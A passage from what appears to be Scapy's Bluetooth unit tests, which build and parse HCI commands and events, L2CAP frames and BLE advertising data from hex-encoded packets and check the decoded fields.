0 assert hci_cmd_inquiry.num_responses == 0 # parsing hci_cmd_inquiry = HCI_Command_Hdr(raw(hci_cmd_inquiry)) assert hci_cmd_inquiry.ogf == 0x01 assert hci_cmd_inquiry.ocf == 0x01 assert hci_cmd_inquiry.len == 5 assert hci_cmd_inquiry.lap == 0x9e8b33 assert hci_cmd_inquiry.inquiry_length == 0 assert hci_cmd_inquiry.num_responses == 0 # HCI_Cmd_Inquiry constructing an invalid packet hci_cmd_inquiry = HCI_Command_Hdr(len = 10) / HCI_Cmd_Inquiry() assert hci_cmd_inquiry.ogf == 0x01 assert hci_cmd_inquiry.ocf == 0x01 assert hci_cmd_inquiry.len == 10 assert hci_cmd_inquiry.lap == 0x9e8b33 assert hci_cmd_inquiry.inquiry_length == 0 assert hci_cmd_inquiry.num_responses == 0 assert raw(hci_cmd_inquiry)[2] == 10 # parse the invalid packet hci_cmd_inquiry = HCI_Command_Hdr(raw(hci_cmd_inquiry)) assert hci_cmd_inquiry.ogf == 0x01 assert hci_cmd_inquiry.ocf == 0x01 assert hci_cmd_inquiry.len == 10 assert hci_cmd_inquiry.lap == 0x9e8b33 assert hci_cmd_inquiry.inquiry_length == 0 assert hci_cmd_inquiry.num_responses == 0 # HCI_Cmd_Inquiry_Cancel default construction hci_cmd_inquiry_cancel = HCI_Command_Hdr() / HCI_Cmd_Inquiry_Cancel() assert hci_cmd_inquiry_cancel.ogf == 0x01 assert hci_cmd_inquiry_cancel.ocf == 0x02 assert hci_cmd_inquiry_cancel.len == None # hci_cmd_inquiry_cancel parsing hci_cmd_inquiry_cancel = HCI_Command_Hdr(raw(hci_cmd_inquiry_cancel)) assert hci_cmd_inquiry_cancel.ogf == 0x01 assert hci_cmd_inquiry_cancel.ocf == 0x02 assert hci_cmd_inquiry_cancel.len == 0 # Hci_Cmd_Hold_Mode hci_cmd_hold_mode = HCI_Command_Hdr() / HCI_Cmd_Hold_Mode() assert hci_cmd_hold_mode.ogf == 0x02 assert hci_cmd_hold_mode.ocf == 0x01 assert hci_cmd_hold_mode.len == None # parsing hci_cmd_hold_mode = HCI_Command_Hdr(raw(hci_cmd_hold_mode)) assert hci_cmd_hold_mode.ogf == 0x02 assert hci_cmd_hold_mode.ocf == 0x01 assert hci_cmd_hold_mode.len == 6 # HCI_Cmd_Set_Event_Mask hci_cmd_set_event_mask = HCI_Command_Hdr() / HCI_Cmd_Set_Event_Mask() assert hci_cmd_set_event_mask.ogf == 0x03 assert hci_cmd_set_event_mask.ocf == 0x01 assert hci_cmd_set_event_mask.len == None # parsing hci_cmd_set_event_mask = HCI_Command_Hdr(raw(hci_cmd_set_event_mask)) assert hci_cmd_set_event_mask.ogf == 0x03 assert hci_cmd_set_event_mask.ocf == 0x01 assert hci_cmd_set_event_mask.len == 8 # HCI_Cmd_Read_BD_Addr hci_cmd_read_bd_addr = HCI_Command_Hdr() / HCI_Cmd_Read_BD_Addr() assert hci_cmd_read_bd_addr.ogf == 0x04 assert hci_cmd_read_bd_addr.ocf == 0x09 assert hci_cmd_read_bd_addr.len == None # parsing hci_cmd_read_bd_addr = HCI_Command_Hdr(raw(hci_cmd_read_bd_addr)) assert hci_cmd_read_bd_addr.ogf == 0x04 assert hci_cmd_read_bd_addr.ocf == 0x09 assert hci_cmd_read_bd_addr.len == 0 # HCI_Cmd_Read_Link_Quality hci_cmd_read_link_quality = HCI_Command_Hdr() / HCI_Cmd_Read_Link_Quality() assert hci_cmd_read_link_quality.ogf == 0x05 assert hci_cmd_read_link_quality.ocf == 0x03 assert hci_cmd_read_link_quality.len == None # parsing hci_cmd_read_link_quality = HCI_Command_Hdr(raw(hci_cmd_read_link_quality)) assert hci_cmd_read_link_quality.ogf == 0x05 assert hci_cmd_read_link_quality.ocf == 0x03 assert hci_cmd_read_link_quality.len == 2 # HCI_Cmd_Read_Loopback_Mode hci_cmd_read_loopback_mode = HCI_Command_Hdr() / HCI_Cmd_Read_Loopback_Mode() assert hci_cmd_read_loopback_mode.ogf == 0x06 assert hci_cmd_read_loopback_mode.ocf == 0x01 assert hci_cmd_read_loopback_mode.len == None # parsing hci_cmd_read_loopback_mode = HCI_Command_Hdr(raw(hci_cmd_read_loopback_mode)) assert hci_cmd_read_loopback_mode.ogf == 0x06 assert hci_cmd_read_loopback_mode.ocf == 0x01 assert hci_cmd_read_loopback_mode.len == 0 # HCI_Cmd_LE_Read_Buffer_Size_V1 hci_cmd_le_read_buffer_size_v1 = HCI_Command_Hdr() / HCI_Cmd_LE_Read_Buffer_Size_V1() assert hci_cmd_le_read_buffer_size_v1.ogf == 0x08 assert hci_cmd_le_read_buffer_size_v1.ocf == 0x02 assert hci_cmd_le_read_buffer_size_v1.len == None # parsing hci_cmd_le_read_buffer_size_v1 = HCI_Command_Hdr(raw(hci_cmd_le_read_buffer_size_v1)) assert hci_cmd_le_read_buffer_size_v1.ogf == 0x08 assert hci_cmd_le_read_buffer_size_v1.ocf == 0x02 assert hci_cmd_le_read_buffer_size_v1.len == 0 + Bluetooth Transport Layers = Test HCI_PHDR_Hdr piling up pkt = HCI_PHDR_Hdr()/HCI_Hdr()/HCI_ACL_Hdr()/L2CAP_Hdr()/L2CAP_CmdHdr()/L2CAP_InfoReq() assert raw(pkt) == b'\x00\x00\x00\x00\x02\x00\x00\n\x00\x06\x00\x05\x00\n\x01\x02\x00\x00\x00' pkt = HCI_PHDR_Hdr(raw(pkt)) assert HCI_Hdr in pkt assert L2CAP_InfoReq in pkt assert pkt[L2CAP_Hdr].len == 6 assert pkt[L2CAP_Hdr].cid == 5 assert pkt[L2CAP_CmdHdr].code == 10 assert pkt[L2CAP_CmdHdr].id == 1 assert pkt[L2CAP_CmdHdr].len == 2 assert len(pkt[L2CAP_InfoReq]) == 2 + HCI Commands = Create Connection cmd = HCI_Hdr(hex_bytes("0105040d76d56f95010018cc0200000001")) assert HCI_Cmd_Create_Connection in cmd assert cmd[HCI_Cmd_Create_Connection].bd_addr == "00:01:95:6f:d5:76" assert cmd[HCI_Cmd_Create_Connection].packet_type == 52248 assert cmd[HCI_Cmd_Create_Connection].page_scan_repetition_mode == 2 assert cmd[HCI_Cmd_Create_Connection].reserved == 0 assert cmd[HCI_Cmd_Create_Connection].clock_offset == 0 assert cmd[HCI_Cmd_Create_Connection].allow_role_switch == 1 = Authentication Requested cmd = HCI_Hdr(hex_bytes("011104020001")) assert HCI_Cmd_Authentication_Requested in cmd assert cmd[HCI_Cmd_Authentication_Requested].handle == 256 = Link Key Request Reply cmd = HCI_Hdr(hex_bytes("010b041676d56f9501006c9016a48a009180086a39200f03d3dd")) assert HCI_Cmd_Link_Key_Request_Reply in cmd assert cmd[HCI_Cmd_Link_Key_Request_Reply].bd_addr == "00:01:95:6f:d5:76" assert cmd[HCI_Cmd_Link_Key_Request_Reply].link_key == 0x6c9016a48a009180086a39200f03d3dd = Set Connection Encryption cmd = HCI_Hdr(hex_bytes("01130403000101")) assert HCI_Cmd_Set_Connection_Encryption in cmd assert cmd[HCI_Cmd_Set_Connection_Encryption].handle == 256 assert cmd[HCI_Cmd_Set_Connection_Encryption].encryption_enable == 1 = Remote Name Request cmd = HCI_Hdr(hex_bytes("0119040a76d56f95010002000000")) assert HCI_Cmd_Remote_Name_Request in cmd assert cmd[HCI_Cmd_Remote_Name_Request].bd_addr == "00:01:95:6f:d5:76" assert cmd[HCI_Cmd_Remote_Name_Request].page_scan_repetition_mode == 2 assert cmd[HCI_Cmd_Remote_Name_Request].reserved == 0 assert cmd[HCI_Cmd_Remote_Name_Request].clock_offset == 0 = 7.3.12 Read Local Name cmd = HCI_Hdr() / HCI_Command_Hdr() / HCI_Cmd_Read_Local_Name() assert raw(cmd) == hex_bytes("01140c00") # Response response = HCI_Hdr(hex_bytes("040efc01140c00546865726d6973746f7200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000")) assert HCI_Cmd_Complete_Read_Local_Name in response assert response[HCI_Cmd_Complete_Read_Local_Name].local_name.decode('utf-8').rstrip('\x00') == 'Thermistor' assert response.answers(cmd) = 7.4.1 Read Local Version Information cmd = HCI_Hdr() / HCI_Command_Hdr() / HCI_Cmd_Read_Local_Version_Information() assert raw(cmd) == hex_bytes("01011000") # Response response = HCI_Hdr(hex_bytes("040e0c010110000900100931010c22")) assert HCI_Cmd_Complete_Read_Local_Version_Information in response assert response[HCI_Cmd_Complete_Read_Local_Version_Information].hci_version == 9 assert response[HCI_Cmd_Complete_Read_Local_Version_Information].hci_subversion == 4096 assert response[HCI_Cmd_Complete_Read_Local_Version_Information].lmp_version == 9 assert response[HCI_Cmd_Complete_Read_Local_Version_Information].company_identifier == 0x0131 assert response[HCI_Cmd_Complete_Read_Local_Version_Information].lmp_subversion == 8716 assert response.answers(cmd) = 7.4.4 Read Local Extended Features cmd = HCI_Hdr() / HCI_Command_Hdr() / HCI_Cmd_Read_Local_Extended_Features(page_number=1) assert raw(cmd) == hex_bytes("0104100101") # Response response = HCI_Hdr(hex_bytes("040e0e0104100001020000000000000000")) assert HCI_Cmd_Complete_Read_Local_Extended_Features in response assert response[HCI_Cmd_Complete_Read_Local_Extended_Features].page == 1 assert response[HCI_Cmd_Complete_Read_Local_Extended_Features].max_page == 2 assert response[HCI_Cmd_Complete_Read_Local_Extended_Features].extended_features == 0 assert response.answers(cmd) = LE Create Connection # Request data cmd = HCI_Hdr(hex_bytes("010d2019600060000001123456677890001800280000002a0000000000")) assert HCI_Cmd_LE_Create_Connection in cmd assert cmd[HCI_Cmd_LE_Create_Connection].paddr == '90:78:67:56:34:12' assert cmd[HCI_Cmd_LE_Create_Connection].patype == 1 # Response data pending = HCI_Hdr(hex_bytes("040f0400020d20")) assert pending.answers(cmd) complete = HCI_Hdr(hex_bytes("043e1301020000000112345667789000000000000000")) assert HCI_LE_Meta_Connection_Complete in complete assert complete[HCI_LE_Meta_Connection_Complete].paddr == '90:78:67:56:34:12' assert complete.answers(cmd) # Invalid combinations assert not cmd.answers(cmd) assert not pending.answers(pending) assert not complete.answers(complete) assert not pending.answers(complete) assert not complete.answers(pending) = LE Create Connection Cancel # Craft a request... expected_cmd_raw_data = hex_bytes("010e2000") cmd = HCI_Hdr() / HCI_Command_Hdr() / HCI_Cmd_LE_Create_Connection_Cancel() assert expected_cmd_raw_data == raw(cmd) assert raw(HCI_Hdr(expected_cmd_raw_data)) == expected_cmd_raw_data other_raw_data = hex_bytes("01060403341213") other_cmd = HCI_Hdr(other_raw_data) # Craft a response... for p in ( HCI_Event_Command_Complete(opcode=0x200e), HCI_Event_Command_Status(opcode=0x200e), ): res = HCI_Hdr() / HCI_Event_Hdr() / p # For debugging res # Check that the response packet thinks it is an answer to the request assert res.answers(cmd) # Check that it self isn't a match assert not res.answers(res) # Check that another request wouldn't match assert not res.answers(other_cmd) "OK!" = Disconnect expected_cmd_raw_data = hex_bytes("01060403341213") cmd_raw_data = raw(HCI_Hdr() / HCI_Command_Hdr() / HCI_Cmd_Disconnect(handle=0x1234)) assert expected_cmd_raw_data == cmd_raw_data = LE Connection Update Command expected_cmd_raw_data = hex_bytes("0113200e47000a00140001003c000100ffff") cmd_raw_data = raw( HCI_Hdr() / HCI_Command_Hdr() / HCI_Cmd_LE_Connection_Update( handle=0x47, min_interval=10, max_interval=20, latency=1, timeout=60, min_ce=1, max_ce=0xffff)) assert expected_cmd_raw_data == cmd_raw_data + HCI Events = Inquiry Complete evt_raw_data = hex_bytes("04010100") evt_pkt = HCI_Hdr(evt_raw_data) assert HCI_Event_Inquiry_Complete in evt_pkt assert evt_pkt[HCI_Event_Inquiry_Complete].status == 0 = Inquiry Result evt_pkt = HCI_Event_Inquiry_Result(b'\x01\xcb\x7f\xdbn\x8c\x9c\x01\x00\x00<\x04\x08\x8di') assert HCI_Event_Inquiry_Result in evt_pkt assert evt_pkt[HCI_Event_Inquiry_Result].num_response == 1 assert evt_pkt[HCI_Event_Inquiry_Result].addr[0] == '9c:8c:6e:db:7f:cb' assert evt_pkt[HCI_Event_Inquiry_Result].page_scan_repetition_mode[0] == 1 assert evt_pkt[HCI_Event_Inquiry_Result].device_class[0] == 0x8043c assert evt_pkt[HCI_Event_Inquiry_Result].clock_offset[0] == 27021 = Connection Complete evt_raw_data = hex_bytes("04030b000b00093491e5b7540100") evt_pkt = HCI_Hdr(evt_raw_data) assert HCI_Event_Connection_Complete in evt_pkt assert evt_pkt[HCI_Event_Connection_Complete].status == 0 assert evt_pkt[HCI_Event_Connection_Complete].handle == 0x000b assert evt_pkt[HCI_Event_Connection_Complete].bd_addr == "54:b7:e5:91:34:09" assert evt_pkt[HCI_Event_Connection_Complete].link_type == 1 assert evt_pkt[HCI_Event_Connection_Complete].encryption_enabled == 0 = Disconnection Complete evt_raw_data = hex_bytes("04050400400016") evt_pkt = HCI_Hdr(evt_raw_data) assert HCI_Event_Disconnection_Complete in evt_pkt assert evt_pkt[HCI_Event_Disconnection_Complete].status == 0 assert evt_pkt[HCI_Event_Disconnection_Complete].handle == 0x0040 assert evt_pkt[HCI_Event_Disconnection_Complete].reason == 0x16 = Remote Name Request Complete evt_raw_data = hex_bytes("0407ff0076d56f950100746573742d6c6170746f70000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000") evt_pkt = HCI_Hdr(evt_raw_data) assert HCI_Event_Remote_Name_Request_Complete in evt_pkt assert evt_pkt[HCI_Event_Remote_Name_Request_Complete].status == 0 assert evt_pkt[HCI_Event_Remote_Name_Request_Complete].bd_addr == "00:01:95:6f:d5:76" assert evt_pkt[HCI_Event_Remote_Name_Request_Complete].remote_name == b"test-laptop".ljust(248, b"\x00") = Encryption Change evt_raw_data = hex_bytes("040804000b0001") evt_pkt = HCI_Hdr(evt_raw_data) assert HCI_Event_Encryption_Change in evt_pkt assert evt_pkt[HCI_Event_Encryption_Change].status == 0 assert evt_pkt[HCI_Event_Encryption_Change].handle == 0x000b assert evt_pkt[HCI_Event_Encryption_Change].enabled == 1 = Read Remote Supported Features Complete evt_raw_data = hex_bytes("040b0b000b00fffe8ffedbff5b87") evt_pkt = HCI_Hdr(evt_raw_data) assert HCI_Event_Read_Remote_Supported_Features_Complete in evt_pkt assert evt_pkt[HCI_Event_Read_Remote_Supported_Features_Complete].status == 0 assert evt_pkt[HCI_Event_Read_Remote_Supported_Features_Complete].handle == 0x000b assert evt_pkt[HCI_Event_Read_Remote_Supported_Features_Complete].lmp_features == 0x875bffdbfe8ffeff = Read Remote Version Information Complete evt_raw_data = hex_bytes("040c080002000bb0022c04") evt_pkt = HCI_Hdr(evt_raw_data) assert HCI_Event_Read_Remote_Version_Information_Complete in evt_pkt assert evt_pkt[HCI_Event_Read_Remote_Version_Information_Complete].status == 0 assert evt_pkt[HCI_Event_Read_Remote_Version_Information_Complete].handle == 0x0002 assert evt_pkt[HCI_Event_Read_Remote_Version_Information_Complete].version == 0x0b assert evt_pkt[HCI_Event_Read_Remote_Version_Information_Complete].manufacturer_name == 0x02b0 assert evt_pkt[HCI_Event_Read_Remote_Version_Information_Complete].subversion == 1068 = Command Complete evt_raw_data = hex_bytes("040e0a010b04002587ceedd668") evt_pkt = HCI_Hdr(evt_raw_data) assert HCI_Event_Command_Complete in evt_pkt assert evt_pkt[HCI_Event_Command_Complete].number == 1 assert evt_pkt[HCI_Event_Command_Complete].opcode == 0x040b assert evt_pkt[HCI_Event_Command_Complete].status == 0 = Command Status evt_raw_data = hex_bytes("040f0400011904") evt_pkt = HCI_Hdr(evt_raw_data) assert HCI_Event_Command_Status in evt_pkt assert evt_pkt[HCI_Event_Command_Status].status == 0 assert evt_pkt[HCI_Event_Command_Status].number == 1 assert evt_pkt[HCI_Event_Command_Status].opcode == 0x0419 = Number Of Completed Packets evt_raw_data = hex_bytes("0413050103000300") evt_pkt = HCI_Hdr(evt_raw_data) assert HCI_Event_Number_Of_Completed_Packets in evt_pkt assert evt_pkt[HCI_Event_Number_Of_Completed_Packets].num_handles == 1 assert evt_pkt[HCI_Event_Number_Of_Completed_Packets].connection_handle_list[0] == 0x0003 assert evt_pkt[HCI_Event_Number_Of_Completed_Packets].num_completed_packets_list[0] == 3 = Link Key Request evt_raw_data = hex_bytes("041706093491e5b754") evt_pkt = HCI_Hdr(evt_raw_data) assert HCI_Event_Link_Key_Request in evt_pkt assert evt_pkt[HCI_Event_Link_Key_Request].bd_addr == '54:b7:e5:91:34:09' = Inquiry Result with RSSI # TODO = Read Remote Extended Features Complete evt_raw_data = hex_bytes("04230d000b0001020300000000000000") evt_pkt = HCI_Hdr(evt_raw_data) assert HCI_Event_Read_Remote_Extended_Features_Complete in evt_pkt assert evt_pkt[HCI_Event_Read_Remote_Extended_Features_Complete].status == 0 assert evt_pkt[HCI_Event_Read_Remote_Extended_Features_Complete].handle == 0x000b assert evt_pkt[HCI_Event_Read_Remote_Extended_Features_Complete].page == 1 assert evt_pkt[HCI_Event_Read_Remote_Extended_Features_Complete].max_page == 2 assert evt_pkt[HCI_Event_Read_Remote_Extended_Features_Complete].extended_features == 0x0000000000000003 = Extended Inquiry Result evt_raw_data = hex_bytes("042fff01093491e5b75401001404247c37c2091001000a00ffffffff020a040b020d110b110a110e110f110c095354414e4d4f524520494900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000") evt_pkt = HCI_Hdr(evt_raw_data) assert HCI_Event_Extended_Inquiry_Result in evt_pkt assert evt_pkt[HCI_Event_Extended_Inquiry_Result].num_response == 1 assert evt_pkt[HCI_Event_Extended_Inquiry_Result].bd_addr == '54:b7:e5:91:34:09' assert evt_pkt[HCI_Event_Extended_Inquiry_Result].page_scan_repetition_mode == 1 assert evt_pkt[HCI_Event_Extended_Inquiry_Result].device_class == 0x240414 assert evt_pkt[HCI_Event_Extended_Inquiry_Result].clock_offset == 0x377c assert evt_pkt[HCI_Event_Extended_Inquiry_Result].rssi == -62 assert EIR_Hdr in evt_pkt[HCI_Event_Extended_Inquiry_Result].eir_data[0] assert Raw in evt_pkt[HCI_Event_Extended_Inquiry_Result].eir_data[-1] assert len(evt_pkt[HCI_Event_Extended_Inquiry_Result].eir_data[-1].load) == 200 = IO Capability Response evt_raw_data = hex_bytes("043209093491e5b754030002") evt_pkt = HCI_Hdr(evt_raw_data) assert HCI_Event_IO_Capability_Response in evt_pkt assert evt_pkt[HCI_Event_IO_Capability_Response].bd_addr == '54:b7:e5:91:34:09' assert evt_pkt[HCI_Event_IO_Capability_Response].io_capability == 0x03 assert evt_pkt[HCI_Event_IO_Capability_Response].oob_data_present == 0 assert evt_pkt[HCI_Event_IO_Capability_Response].authentication_requirements == 0x02 = LE Meta evt_raw_data = hex_bytes("043e0414400000") evt_pkt = HCI_Hdr(evt_raw_data) assert HCI_Event_LE_Meta in evt_pkt assert evt_pkt[HCI_Event_LE_Meta].event == 0x14 = LE Connection Update Event evt_raw_data = hex_bytes("043e0a03004800140001003c00") evt_pkt = HCI_Hdr(evt_raw_data) assert evt_pkt[HCI_LE_Meta_Connection_Update_Complete].handle == 0x48 assert evt_pkt[HCI_LE_Meta_Connection_Update_Complete].interval == 20 assert evt_pkt[HCI_LE_Meta_Connection_Update_Complete].latency == 1 assert evt_pkt[HCI_LE_Meta_Connection_Update_Complete].timeout == 60 + Bluetooth LE Advertising / Scan Response Data Parsing = Parse EIR_IncompleteList32BitServiceUUIDs p = HCI_Hdr(hex_bytes('042fff019cc888f640c401000c025af32cb09904f6dc73222396f640c40c025a40dbca09000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) assert EIR_IncompleteList32BitServiceUUIDs in p assert len(p[EIR_IncompleteList32BitServiceUUIDs].svc_uuids) == 38 = Parse EIR_CompleteList32BitServiceUUIDs p = HCI_Hdr(hex_bytes('042fff0106ec883aef1801003c04285758b30e0954562064656c2073616cc3b36e09030a110c110e1100120105810700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) assert EIR_CompleteList32BitServiceUUIDs in p assert p[EIR_CompleteList32BitServiceUUIDs].svc_uuids == [] = Parse EIR_ClassOfDevice p = HCI_Hdr(hex_bytes('043e2b020100000a1bb44ce0001f02010503ff000106084d4920524303021218040d040500020a0004fe06ec88a2')) assert EIR_ClassOfDevice in p assert p[EIR_ClassOfDevice].major_service_classes == 0 assert p[EIR_ClassOfDevice].major_device_class == 5 assert p[EIR_ClassOfDevice].minor_device_class == 1 = Parse EIR_PublicTargetAddress p = HCI_Hdr(hex_bytes('043e1402010001554433221100080717ffeeddccbbaaaa')) assert EIR_PublicTargetAddress in p assert p[EIR_PublicTargetAddress].bd_addr == 'aa:bb:cc:dd:ee:ff' = Parse EIR_AdvertisingInterval p = HCI_Event_Hdr(hex_bytes('3e23020100002e4961121110170201060f0954656c6553617420283432453229031a9001a3')) assert EIR_AdvertisingInterval in p assert p[EIR_AdvertisingInterval].advertising_interval == 400 p = BTLE(hex_bytes('d6be898e20234fe761e5b754021a1803030a18020ace12fffa07104a2b010000000054b7e561e74f00000000')) assert EIR_AdvertisingInterval in p assert p[EIR_AdvertisingInterval].advertising_interval == 24 = Parse EIR_LEBluetoothDeviceAddress p = HCI_Event_Hdr(hex_bytes("3e2a02010000d93519d7ba4c1e0201020affc4000734151317fd80081b00d93519d7ba4c0303b9fe020ad4ad")) assert EIR_LEBluetoothDeviceAddress in p assert p[EIR_LEBluetoothDeviceAddress].addr_type == 0x0 assert p[EIR_LEBluetoothDeviceAddress].bd_addr == '4c:ba:d7:19:35:d9' = Parse EIR_Appearance p = BTLE(hex_bytes("d6be898e201660d4d3cebffb0201050319420c0303e7fe040948393850c27c")) assert EIR_Appearance in p assert p[EIR_Appearance].appearance == 0x0c42 assert p[EIR_Appearance].category == 0x31 #'Pulse Oximeter' assert p[EIR_Appearance].subcategory == 0x02 # Wrist Worn Pulse Oximeter = Parse EIR_ServiceData32BitUUID p = HCI_Hdr(hex_bytes('042fff01c47c80894df801000c0128a269a30c4a125d13f30196894df80c012820f61a1a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) assert EIR_ServiceData32BitUUID in p assert p[EIR_ServiceData32BitUUID].svc_uuid == 0x001a1af6 = Parse EIR_URI p = HCI_Event_Hdr(hex_bytes('3e2902010301f3c1dad728031d1c24172f2f6669726d776172652e73696c766169722e636f6d2f6f6f62ac')) assert EIR_URI in p assert p[EIR_URI].scheme == 0x17 assert p[EIR_URI].uri_hier_part == b'//firmware.silvair.com/oob' assert p[EIR_URI].uri == 'https://firmware.silvair.com/oob' = Parse EIR_Flags, EIR_CompleteList16BitServiceUUIDs, EIR_CompleteLocalName and EIR_TX_Power_Level ad_report_raw_data = \ hex_bytes("043e2b020100016522c00181781f0201020303d9fe1409" \ "506562626c652054696d65204c452037314536020a0cde") scapy_packet = HCI_Hdr(ad_report_raw_data) assert scapy_packet[EIR_Flags].flags == 0x02 assert scapy_packet[EIR_CompleteList16BitServiceUUIDs].svc_uuids == [0xfed9] assert scapy_packet[EIR_CompleteLocalName].local_name == b'Pebble Time LE 71E6' assert scapy_packet[EIR_TX_Power_Level].level == 12 = Parse EIR_Manufacturer_Specific_Data scan_resp_raw_data = \ hex_bytes("043e2302010401be5e0eb9f04f1716ff5401005f423331" \ "3134374432343631fc00030c0000de") scapy_packet = HCI_Hdr(scan_resp_raw_data) assert raw(scapy_packet[EIR_Manufacturer_Specific_Data].payload) == b'\x00_B31147D2461\xfc\x00\x03\x0c\x00\x00' assert scapy_packet[EIR_Manufacturer_Specific_Data].company_identifier == 0x154 assert scapy_packet[EIR_Manufacturer_Specific_Data].sprintf("%company_identifier%") == "Pebble Technology" = Parse EIR_Manufacturer_Specific_Data with magic class ScapyManufacturerPacket(Packet): magic = b'SCAPY!' fields_desc = [ StrFixedLenField("header", magic, len(magic)), ShortField("x", None), ] class ScapyManufacturerPacket2(Packet): magic = b'!SCAPY' fields_desc = [ StrFixedLenField("header", magic, len(magic)), ShortField("y", None), ] @classmethod def magic_check(cls, payload): return payload.startswith(cls.magic) EIR_Manufacturer_Specific_Data.register_magic_payload( ScapyManufacturerPacket, lambda p: p.startswith(ScapyManufacturerPacket.magic)) EIR_Manufacturer_Specific_Data.register_magic_payload(ScapyManufacturerPacket2) # Test decode p = EIR_Hdr(b'\x0b\xff\xff\xffSCAPY!\xab\x12') p.show() assert p[EIR_Manufacturer_Specific_Data].company_identifier == 0xffff assert p[ScapyManufacturerPacket].x == 0xab12 p = EIR_Hdr(b'\x0b\xff\xff\xff!SCAPY\x12\x34') p.show() assert p[EIR_Manufacturer_Specific_Data].company_identifier == 0xffff assert p[ScapyManufacturerPacket2].y == 0x1234 # Test encode p = EIR_Hdr()/EIR_Manufacturer_Specific_Data(company_id=0xffff)/ScapyManufacturerPacket(x=0x5678) assert raw(p) == b'\x0b\xff\xff\xffSCAPY!\x56\x78' # Test bad setup try: EIR_Manufacturer_Specific_Data.register_magic_payload(conf.raw_layer) except TypeError: pass else: assert False, "expected exception" = Parse EIR_ServiceSolicitation16BitUUID and EIR_ServiceSolicitation128BitUUID d = hex_bytes("043e29020100013d1ef10747d81d0319000002010603140d181115d0002d121e4b0fa4994eceb531f40579aa") p = HCI_Hdr(d) assert p[EIR_ServiceSolicitation16BitUUID].svc_uuid == 0x180d assert p[EIR_ServiceSolicitation128BitUUID].svc_uuid == UUID('7905f431-b5ce-4e99-a40f-4b1e122d00d0') = Parse EIR_ServiceData16BitUUID d = hex_bytes("043e1902010001abcdef7da97f0d020102030350fe051650fee6c2ac") p = HCI_Hdr(d) p.show() assert p[EIR_CompleteList16BitServiceUUIDs].svc_uuids == [0xfe50] assert p[EIR_ServiceData16BitUUID].svc_uuid == 0xfe50 assert raw(p[EIR_ServiceData16BitUUID].payload) == hex_bytes("e6c2") = Basic L2CAP dissect a = L2CAP_Hdr(b'\x08\x00\x06\x00\t\x00\xf6\xe5\xd4\xc3\xb2\xa1') assert a[SM_Identity_Address_Information].address == 'a1:b2:c3:d4:e5:f6' assert a[SM_Identity_Address_Information].atype == 0 a.show() = Basic HCI_ACL_Hdr build & dissect a = HCI_Hdr()/HCI_ACL_Hdr(handle=0xf4c, PB=2, BC=2, len=20)/L2CAP_Hdr(len=16)/L2CAP_CmdHdr(code=8, len=12)/L2CAP_EchoReq(data="AAAAAAAAAAAA") assert raw(a) == b'\x02L\xaf\x14\x00\x10\x00\x05\x00\x08\x01\x0c\x00AAAAAAAAAAAA' b = HCI_Hdr(raw(a)) assert a == b = Complex HCI - L2CAP build a = HCI_Hdr()/HCI_ACL_Hdr()/L2CAP_Hdr()/L2CAP_CmdHdr()/L2CAP_ConnReq(scid=1) assert raw(a) == b'\x02\x00\x00\x0c\x00\x08\x00\x05\x00\x02\x01\x04\x00\x00\x00\x01\x00' a.show() = Complex HCI - L2CAP dissect a = HCI_Hdr(b'\x02\x00\x00\x11\x00\r\x00\x05\x00\x0b\x00\t\x00\x01\x00\x00\x00debug') assert a[L2CAP_InfoResp].result == 0 assert a[L2CAP_InfoResp].data == b"debug" = HCI - L2CAP Echo test rq = HCI_Hdr()/HCI_ACL_Hdr()/L2CAP_Hdr()/L2CAP_CmdHdr()/L2CAP_EchoReq(data=b"data") assert bytes(rq) == b'\x02\x00\x00\x0c\x00\x08\x00\x05\x00\x08\x01\x04\x00data' rsp = HCI_Hdr()/HCI_ACL_Hdr()/L2CAP_Hdr()/L2CAP_CmdHdr()/L2CAP_EchoResp(data=b"data") assert bytes(rsp) == b'\x02\x00\x00\x0c\x00\x08\x00\x05\x00\t\x01\x04\x00data' assert rsp.answers(rq) = HCI - L2CAP Create Channel request p = HCI_Hdr()/HCI_ACL_Hdr()/L2CAP_Hdr()/L2CAP_CmdHdr()/L2CAP_Create_Channel_Request(psm="SDP") assert bytes(p) == b'\x02\x00\x00\r\x00\t\x00\x05\x00\x0c\x01\x05\x00\x01\x00\x00\x00\x00' p = HCI_Hdr(bytes(p)) assert p[L2CAP_Create_Channel_Request].psm == 1 assert p[L2CAP_Create_Channel_Request].scid == 0 = L2CAP Conn Answers a = HCI_Hdr(b'\x02\x00\x00\x0c\x00\x08\x00\x05\x00\x02\x00\x04\x00\x00\x00\x9a;') b = HCI_Hdr(b'\x02\x00\x00\x10\x00\x0c\x00\x05\x00\x03\x00\x08\x00\xff\xff\x9a;\x00\x00\x01\x00') assert b.answers(a) assert not a.answers(b) a = HCI_Hdr(b'\x02\x00\x00\x0c\x00\x08\x00\x05\x00\x04\x00\x04\x00\x15\x00\x00\x00') b = 